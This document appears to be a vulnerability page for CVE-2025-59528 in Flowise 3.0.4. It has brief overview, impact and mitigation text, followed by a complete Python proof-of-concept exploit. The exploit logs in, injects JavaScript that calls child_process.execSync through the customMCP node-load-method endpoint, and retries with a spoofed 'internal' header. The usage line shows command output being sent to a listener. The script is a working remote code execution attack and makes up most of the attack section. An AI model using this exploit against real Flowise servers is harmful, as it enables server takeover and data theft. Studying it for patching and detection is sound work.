Overview
The Flowise 3.0.4 vulnerability, identified as CVE-2025-59528, is a critical Remote Code Execution (RCE) flaw that allows attackers to execute arbitrary code on affected systems. This vulnerability arises from improper input validation and can be exploited by attackers to gain unauthorized access and control over the application, leading to severe security breaches.
Technical Details
This vulnerability exploits a weakness in the way Flowise 3.0.4 processes user inputs. Specifically, it fails to adequately sanitize inputs, allowing attackers to inject malicious payloads. When a user submits a crafted request, the application may inadvertently execute the injected code within its runtime environment. This can occur through various vectors, such as API endpoints or web forms that do not enforce strict validation rules.
For example, an attacker could send a specially crafted HTTP request containing a malicious script. If the application processes this request without proper checks, it could execute the script, leading to full control over the server or even lateral movement within the network.
Impact
The potential consequences of CVE-2025-59528 are significant. Successful exploitation can lead to data breaches, unauthorized access to sensitive information, and the deployment of malware within an organization’s infrastructure. Furthermore, the ability to execute arbitrary code can facilitate ransomware attacks, data exfiltration, and compromise of critical systems, jeopardizing the entire security posture of an organization.
Mitigation
To protect against CVE-2025-59528, organizations should promptly update to the latest version of Flowise, where this vulnerability has been addressed. Regularly patching software is essential for maintaining a secure environment. Additionally, implementing robust input validation and sanitization measures can further mitigate the risk of RCE vulnerabilities.
Security professionals should also conduct thorough security assessments and penetration testing to identify potential weaknesses in their applications. Employing Web Application Firewalls (WAFs) can provide an additional layer of protection by filtering and monitoring HTTP traffic to and from the application, thus blocking malicious requests before they can exploit vulnerabilities.
Proof of Concept (PoC)
# Exploit Title: Flowise 3.0.4 - Remote Code Execution (RCE)
# Date: 10/11/2025
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise
# Version: < 3.0.5
# CVE: CVE-2025-59528
from requests import post, session
from argparse import ArgumentParser
banner = r"""
_____ _ _____
/ __ | | / ___|
| / / __ _| | __ _ _ __ __ _ ___ ___ `--.
| | / _` | |/ _` | '_ / _` |/ _ / __| `--.
| __/ (_| | | (_| | | | | (_| | (_) __ /__/ /
____/__,_|_|__,_|_| |_|__, |___/|___/____/
__/ |
|___/
by nltt0
"""
try:
parser = ArgumentParser(description='CVE-2025-59528 [Flowise < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --password Test@2025 --url http://localhost:3000 --cmd "http://localhost:1337/`whoami`"")
parser.add_argument('-e', '--email', required=True, help='Registered email')
parser.add_argument('-p', '--password', required=True)
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-c', '--cmd', required=True)
args = parser.parse_args()
email = args.email
password = args.password
url = args.url
cmd = args.cmd
def login(email, url):
session = session()
url_format = "{}/api/v1/auth/login".format(url)
headers = {"x-request-from": "internal", "Accept-Language": "pt-BR,pt;q=0.9", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Origin": "http://workflow.flow.hc", "Referer": "http://workflow.flow.hc/signin", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
data={"email": email, "password": password}
r = session.post(url_format, headers=headers, json=data)
return session, r
def rce(email, url, password, cmd):
session, status_code = login(email, url)
url_format = "{}/api/v1/node-load-method/customMCP".format(url)
command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'
data = {
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": command
}
}
r = session.post(url_format, json=data)
if r.status_code == 401:
session.headers["x-request-from"] = "internal"
session.post(url_format, json=data)
print(f"[x] Command executed [{cmd}]")
rce(email, url, password, cmd)
except Exception as e:
print('Error in {}'.format(e))